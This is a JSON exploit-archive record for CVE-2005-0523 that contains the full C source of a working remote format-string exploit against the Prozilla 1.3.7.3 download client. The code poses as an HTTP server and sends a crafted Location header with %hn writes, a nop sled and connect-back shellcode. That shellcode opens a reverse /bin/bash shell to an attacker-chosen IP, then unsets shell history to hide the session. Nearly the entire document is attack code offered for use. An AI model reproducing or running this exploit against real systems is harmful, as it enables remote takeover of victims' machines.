{"exploit":{"id":"EDB-806","name":"Prozilla 1.3.7.3 - Remote Format String","description":"Prozilla 1.3.7.3 - Remote Format String","cves":["CVE-2005-0523"],"author":"Serkan Akpolat","published":"2005-02-09","platform":"linux","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/806","path":"exploits/linux/remote/806.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-806.c","vulnerabilities":[{"id":"CVE-2005-0523","state":"PUBLISHED","title":null,"titleSource":null,"description":"Format string vulnerability in ProZilla 1.3.7.3 and earlier allows remote attackers to execute arbitrary code via format string specifiers in the Location header.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-0523","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-0523"},"updatedAt":"2024-08-07T21:13:54.237Z","retrievedAt":"2026-11-26T14:06:27.602Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-806.png?v=2","url":"https://exploitbin.com/exploits/EDB-806","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-806/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-806/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n                      ______ ________\n                  ...\\\\___ \\__\\ ____/--.....\n               .::.:/ / \\__________ \\:.::.\n             .::::./ / / |/ \\.::::.\n                  / / | \\_\n                  \\ ______/ _ _ _________/\n                  .\\___\\\\ \\_________/ .\n                  . .\n              ..::....[ Electronic Souls ]....::..\n\n\n  - Prozilla vs. Gentoo Security round 2 !@#\n\n  Sometime ago there was a private exploit for Prozilla and due to some\n  kiddo who randomly 0wned ppl, all ended up with a Gentoo Security Advisory.\n  The exploit got released with a note to another bug in the code.\n  Well the 31337 Gent00 Security Team claimed to have audited the code\n  and put Prozilla back to portage as fixed.\n\n  The buffer overflow has been fixed (wow what an effort) but the other\n  bug is still there!\n\n  Well this either means they dont know what format string bugs are and\n  how to spot them (maybe you should better use automated t00lz,if you cant\n  do it yourself, as they would have spotted it for sure :P), or they\n  simply are lazy and dont give a fuck about your security.\n\n  We support Anti-Disclosure, but this bug isnt of much use anymore and we\n  feel like people should know that they better audit code themselfes before\n  trusting a Gentoo security fix. Even a automated audit application\n  would have done a better job.\n\n  Hey Gentoo, maybe you should try and enlighten yourself about\n  format bugs, instead of pretending :P\n\n  But then again, if everyone would audit as g00d as you guys, we'd\n  have a lot more fun ;)\n\n*/\n\n/*\n** Prozilla <= 1.3.7.3 format string exploit\n** Deicide [ElectronicSouls]\n** Not reliable as the previous stack overflow exploit.\n** Isnt it funny that gentoo sec. team + proz developers couldnt spot\n** the format ?\n** Homepage: www.siyahsapka.org || deicide.siyahsapka.org\n**/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys/types.h>\n#include <sys/wait.h>\n#include <sys/socket.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n#include <unistd.h>\n#include <string.h>\n#include <signal.h>\n#define PORT 8080\n#define MAX_RESPONSE 2048\n#define TRUE 1\n\nstruct {\n    char *dist;\n    unsigned int ret;\n} targets[]= {\n        { \"Debian - proz 1.3.7.3\" , 0x0805e640 },\n        { \"Debian 3.0 - proz 1.3.6.x\" , 0x0805d638 },\n        { \"Gentoo - proz 1.3.7.3\" , 0x0805d8f8 },\n        { \"Gentoo - proz 1.3.7.3\" , 0x0805d63c },\n        { \"Slack 10 - proz 1.3.7.3\" , 0x0805e6e0 },\n        { \"RedHat 9.0 - proz 1.3.7.3\" , 0x0805d268 }\n};\n\n\nchar packet_start[]=\\\n\"HTTP/1.1 301 Moved permanently\\r\\n\"\n\"Location: http://A\";\n\nchar packet_end[]=\\\n\"\\r\\n\"\n\"Content-Encoding: gzip\\r\\n\"\n\"Content-Type: text/html; charset=iso-8859-1\\r\\n\"\n\"Connection: close\\r\\n\\r\\n\";\n\n\nchar real_response[]=\\\n\"HTTP/1.1 302 Found\\r\\n\"\n\"Location: http://blahblahblah.com/movie.wmv\\r\\n\"\n\"Content-Encoding: gzip\\r\\n\"\n\"Content-Type: text/html; charset=iso-8859-1\\r\\n\"\n\"Connection: close\\r\\n\\r\\n\";\n\n\n/* Shellcode with no control character.\n** Nop's in the shellcode will be patched for attacker defined ip port\n** at runtime.\n*/\nunsigned char shellcode[] = {\n  /* write(1,\"\\n\\n\\n\\n\",4) 0x31 times */\n  0x31, 0xf6, 0x31, 0xff, 0x83, 0xc6, 0x31, 0x31, 0xc0, 0xb9, 0x5a, 0x5a,\n  0x5a, 0x5a, 0x81, 0xe9, 0x50, 0x50, 0x50, 0x50, 0x51, 0x54, 0x59, 0x31,\n  0xdb, 0x43, 0x40, 0x40, 0x40, 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42,\n  0xcd, 0x80, 0x47, 0x39, 0xf7, 0x75, 0xdc,\n  /* write(1,\"\\n\\n\\nEnd of file while parsing header\",38);*/\n  0x31, 0xc0, 0x31, 0xdb, 0xbe, 0x4a, 0x4a, 0x4a, 0x4a, 0x81, 0xee, 0x40,\n  0x40, 0x40, 0x40, 0x56, 0x68, 0x61, 0x64, 0x65, 0x72, 0x68, 0x67, 0x20,\n  0x68, 0x65, 0x68, 0x72, 0x73, 0x69, 0x6e, 0x68, 0x65, 0x20, 0x70, 0x61,\n  0x68, 0x77, 0x68, 0x69, 0x6c, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x68, 0x6f,\n  0x66, 0x20, 0x66, 0x68, 0x45, 0x6e, 0x64, 0x20, 0x54, 0x59, 0x43, 0x40,\n  0x40, 0x40, 0x40, 0x31, 0xd2, 0xb2, 0x24, 0xcd, 0x80,\n  /* fork(); */\n  0x31, 0xc0, 0x40, 0x40, 0xcd, 0x80,\n  /* If we are parent exit(?) */\n  0x31, 0xdb, 0x39, 0xc3, 0x74, 0x23, 0x31, 0xc0, 0xfe, 0xc0, 0xfe, 0xc8,\n  0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,\n  0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,\n  0xfe, 0xc0, 0x43, 0xcd, 0x80,\n  /* setsid() */\n  0x31, 0xc0, 0xb0, 0x42, 0xcd, 0x80,\n  /* signal(SIGHUP,SIG_IGN) */\n  0xb0, 0x30, 0x66, 0x29, 0xdb, 0x43, 0x89, 0xd9, 0xcd, 0x80,\n  /* sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */\n  0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0x89, 0xe1, 0xb0, 0x66, 0xcd,\n  0x80,\n  /* i = connect(sock, sockaddr, 16) */\n  0x89, 0xc6, 0x4b, 0x53, 0x53, 0xbf, 0x90, 0x90, 0x90, 0x90, 0x81, 0xf7,\n  0x90, 0x90, 0x90, 0x90, 0x57, 0x66, 0xba, 0x90, 0x90, 0x66, 0x81, 0xf2,\n  0x90, 0x90, 0x66, 0x52, 0x43, 0x43, 0x66, 0x53, 0x89, 0xe2, 0xb3, 0x50,\n  0x80, 0xeb, 0x40, 0x53, 0x52, 0x50, 0x89, 0xe1, 0xb3, 0x4f, 0x80, 0xeb,\n  0x4c, 0xb0, 0x66, 0xcd, 0x80,\n  /* if (i != 0) jmp exit(?) */\n  0x31, 0xc9, 0x39, 0xc8, 0x75,0x57,\n  /* write(sd,\"SSSS\",4) */\n  0x68, 0x53, 0x53, 0x53, 0x53, 0x54, 0x59, 0x89, 0xf3, 0x40, 0x40, 0x40,\n  0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42, 0xcd, 0x80,\n  /* dup2 loop */\n  0x31, 0xc9, 0x41, 0x41, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x75, 0xf9, 0xb0,\n  0x3f, 0xcd, 0x80,\n  /* execve(\"/bin/bash\",{\"bash\",NULL} , NULL) */\n  0x31, 0xc0, 0x31, 0xd2, 0x50, 0x6a, 0x68, 0xb8, 0x40, 0x34, 0x34, 0x33,\n  0x35, 0x6f, 0x56, 0x55, 0x40, 0x50, 0xb8, 0x40, 0x31, 0x34, 0x33, 0x35,\n  0x6f, 0x53, 0x5d, 0x5d, 0x50, 0x54, 0x5b, 0x31, 0xc0, 0x50, 0x68, 0x62,\n  0x61, 0x73, 0x68, 0x89, 0xe7, 0x50, 0x57, 0x54, 0x59, 0xb0, 0x4b, 0x2c,\n  0x40, 0xcd, 0x80,\n  /* exit(?); */\n  0x31, 0xc0, 0x40, 0xcd, 0x80\n};\n\n\nvoid usage(char *progname)\n{\n    fprintf(stderr, \"Usage: %s [-cp] [ip]\\n\"\\\n    \"-t <target> \\n\"\\\n    \"1- %s \\n2- %s \\n3- %s \\n4- %s \\n\"\\\n    \"5- %s \\n6- %s \\n\"\\\n    \"-c <ip address> connectback ip address\\n\"\\\n    \"-p <port> connectback port (default = 8080)\\n\\n\", progname,targets[0].dist\\\n    ,targets[1].dist,targets[2].dist,targets[3].dist,targets[4].dist,targets[5].dist);\n    exit(1);\n}\n\n/* shell() taken from BrainStorm's code */\nvoid shell(int netfd)\n{\n\n    if (netfd == -1) {\n        fprintf(stderr, \"ERROR: failed to connect\\n\");\n        exit(1);\n    }\n\n    fflush(stdout);\n\n    fprintf(stderr,\"\\n[ CONNECTED ! ]\\n\\n\");\n    {\n        u_char data[8192] = {0};\n        fd_set fdz;\n\n        /* we'll take care of default stuff.. */\n        write(netfd,\"unset HISTFILE\\n\",15);\n        write(netfd,\"unset savehist\\n\",15);\n        write(netfd,\"export TERM=xterm\\n\",18);\n        write(netfd,\"export SHELL=sh\\n\",16);\n        write(netfd,\"uname -a\\n\",9);\n        write(netfd,\"id\\n\",3);\n        write(netfd,\"w\\n\",2);\n\n        for(;;) {\n            FD_ZERO(&fdz);\n            FD_SET(0,&fdz);\n            FD_SET(netfd,&fdz);\n\n            if(select(255,&fdz,0,0,0)==-1){\n                perror(\"select\");\n                exit(-1);\n            }\n\n            memset(data,0,sizeof(data));\n\n            if(FD_ISSET(netfd,&fdz)){\n                if(recv(netfd,data,sizeof(data)-1,0)==-1) {\n                    fprintf(stderr, \"[x] ewps! connection closed by foreign host.\\n\");\n                    return;\n                }\n                fprintf(stderr,\"%s\",data);\n            }\n            if(FD_ISSET(0,&fdz)){\n                read(0, data, sizeof(data) - 1);\n                write(netfd,data,strlen(data));\n            }\n        }\n    }\n}\n\nvoid put_ip(int i,int j)\n{\n    shellcode[j]=i;\n}\n\nvoid put_xor(int i,int j,int k)\n{\n    shellcode[j+k]=i;\n}\n\nint find_xor(int a,int b,int c)\n{\n    int i=49,j=49;\n    for(i=49;i<255;i++) {\n        for(j=49;j<255;j++) {\n            if(a==(i^j)) {\n                put_ip (i,b);\n                put_xor (j,b,c);\n                b++;\n                return b;\n            }\n        }\n    }\n    return -1;\n}\n\nvoid check_zombie(int x)\n{\n    waitpid(-1,NULL,WNOHANG);\n}\n\n\nvoid send_start(int connection,int j)\n{\n    int i=0;\n    char buf[1024];\n    char *p = buf;\n    strcpy(buf,packet_start);\n    p += strlen(packet_start);\n    while(i<10) {\n        *((void **)p) = (void *) (targets[j-1].ret+6);\n        p += 4;\n        *((void **)p) = (void *) (targets[j-1].ret+4);\n        p += 4;\n        i++;\n    }\n    strcat(buf,\"%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x\\\n    %.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.08x%.1792u%hn%hn%hn:%x%x%x%x%x%x%x%x%x%x@\");\n    if (send(connection,buf,strlen(buf),0)==-1) {\n        perror(\"send\");\n    }\n    fprintf(stderr,\"[+] Sending Header Start\\n\");\n}\n\nvoid send_url(int connection)\n{\n    char url[256]=\"@www.siyahsapka.org\";\n    if (send(connection,url,strlen(url),0)==-1) {\n            perror(\"send\");\n    }\n}\n\nvoid send_nop(int connection)\n{\n    int i = 0;\n    int j = 1;\n    char buffer [1024] =\"AA@@\";\n    char counter [128];\n\n    memset(counter ,0x00,128 );\n    memset(buffer+3,0x41,1021);\n    buffer[1024-1]='\\0';\n\n    while(i< 96) {\n        if (send(connection,buffer,strlen(buffer),0)==-1) {\n            perror(\"send\");\n        }\n        i++;\n        if(!(i%4))\n        j++;\n        memset (counter,0x2b,j);\n        memset (counter+j,0x20,26-j);\n        fprintf(stderr ,\"\\r[+] Sending 96kb Nop [ %s]\",counter);\n        memset(counter,0x00,sizeof(counter));\n    }\n\n    fprintf(stderr,\"\\n\");\n    fprintf(stderr,\"[+] Sending Shellcode\\n\");\n\n    if (send(connection,shellcode,strlen(shellcode),0)==-1) {\n        perror(\"send\");\n    }\n\n}\n\nvoid send_end(int connection)\n{\n    fprintf(stderr,\"[+] Sending Header End\\n\");\n    if (send(connection,packet_end,strlen(packet_end),0)==-1) {\n        perror(\"send\");\n    }\n}\n\nint init_socket(struct sockaddr_in *control_addr,struct sockaddr_in *from_addr,int *from_len)\n{\n    int control;\n\n    if((control=socket(AF_INET,SOCK_STREAM,0))<0) {\n        perror(\"Socket:\");\n        exit(1);\n    }\n\n    control_addr->sin_port=htons(PORT);\n    control_addr->sin_addr.s_addr=INADDR_ANY;\n    control_addr->sin_family=AF_INET;\n\n    if((bind(control,(struct sockaddr *)control_addr,sizeof(*control_addr)))!=0) {\n        perror(\"Bind:\");\n        exit(1);\n    }\n    if(listen(control,128)!=0) {\n        perror(\"Listen:\");\n        exit(1);\n    }\n\n    *from_len =sizeof(*from_addr);\n    signal(SIGCHLD,check_zombie);\n    return control;\n}\n\n\nint main(int argc,char **argv)\n{\n    /* ip patch position */\n    int i=194;\n    int opt_p=0,opt_c=0,opt_t=1;\n    int port,porthigh,portlow;\n    int c,f;\n    int control;\n    int connection,from_len;\n    int ip1,ip2,ip3,ip4;\n    char http_response [2048];\n    char client_request[2048];\n    struct sockaddr_in *control_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));\n    struct sockaddr_in *from_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));\n\n    while((c=getopt(argc, argv ,\"hc:p:t:\"))!=EOF) {\n            switch (c) {\n                case 'h':\n                    usage(argv[0]);\n                case 'c':\n                    opt_c=1;\n                    sscanf(optarg, \"%d.%d.%d.%d\", &ip1, &ip2, &ip3,&ip4);\n                    break;\n                case 'p':\n                    opt_p=1;\n                    port = atoi(optarg);\n                    if ((port <= 0) || (port > 65535)) {\n                        fprintf(stderr, \"Invalid port.\\n\\n\");\n                        exit(1);\n                    }\n                    break;\n                case 't':\n                    opt_t = atoi(optarg);\n                    if ((opt_t < 1 || opt_t > 6)) {\n                        opt_t = 1;\n                        fprintf(stderr,\"[+] Default Target [ %s 0x%.08x]\\n\",targets[opt_t-1].dist,targets[opt_t-1].ret);\n                    }\n                    else {\n                        fprintf(stderr,\"[+] Target [ %s 0x%.08x]\\n\",targets[opt_t-1].dist,targets[opt_t-1].ret);\n                    }\n                    break;\n            }\n    }\n\n    if(opt_p) {\n        porthigh = (port & 0xff00) >> 8;\n        portlow = (port & 0x00ff);\n    }\n    else {\n        port = 8080;\n        porthigh = (port & 0xff00) >> 8;\n        portlow = (port & 0x00ff);\n    }\n    if(!opt_c) {\n        usage(argv[0]);\n    }\n    memset(http_response,0x0,MAX_RESPONSE);\n    control = init_socket(control_addr,from_addr,&from_len);\n\n    /* patch ip */\n    i = find_xor(ip1,i,6);\n    i = find_xor(ip2,i,6);\n    i = find_xor(ip3,i,6);\n    i = find_xor(ip4,i,6);\n\n    /* patch port */\n    i = 207;\n    i = find_xor( porthigh,i,5);\n    i = find_xor( portlow ,i,5);\n\n\n    while(TRUE) {\n        if((connection=accept(control,(struct sockaddr *)from_addr,&from_len))==-1) {\n            exit(1);\n        }\n\n        fprintf(stderr,\"[+] Victim at : %s\\n\", inet_ntoa(from_addr->sin_addr));\n        if (read(connection,client_request,sizeof(client_request))==0) {\n            exit(1);\n        }\n\n        /* Victim Responded */\n        if(strstr(client_request,\"Prozilla\"))\n        {\n            fprintf(stderr,\"[+] Victim using Prozilla.\\n\");\n            f=1;\n        }\n        else {\n            if(strstr(client_request,\"SSSS\")) {\n                fprintf(stderr,\"Nice , Victim Responded!\\n\");\n                shell(connection);\n            }\n            else {\n                fprintf(stderr,\"[+] Victim is not using Prozilla! Sending a normal response.\\n\");\n                if(send(connection,real_response,strlen(shellcode),0)==-1) {\n                    perror(\"send\");\n                }\n            }\n        }\n\n        if(f==1) {\n            /* HTTP */\n            send_start(connection,opt_t);\n            /* Memleak - Nop sled */\n            send_nop(connection);\n            send_url(connection);\n            /* HTTP END */\n            send_end(connection);\n            f=0;\n        }\n\n        close(connection);\n        memset(client_request,0x0,sizeof(client_request));\n\n        if (fork()==0) {\n            free(from_addr);\n            free(control_addr);\n            exit(0);\n        }\n        else {\n            close(connection);\n        }\n\n    }\n\n    printf(\"Done\");\n    return 0;\n}\n\n// milw0rm.com [2005-02-09]","sha256":"11b2f1096d91cede6ade9c2e4c7d4beecf19c5ae2a072d899f6d8c5b74a7c80c","bytes":13896,"fetchedAt":"2026-11-26T14:06:20.522Z","encoding":"utf-8 (display only; download retains original bytes)"}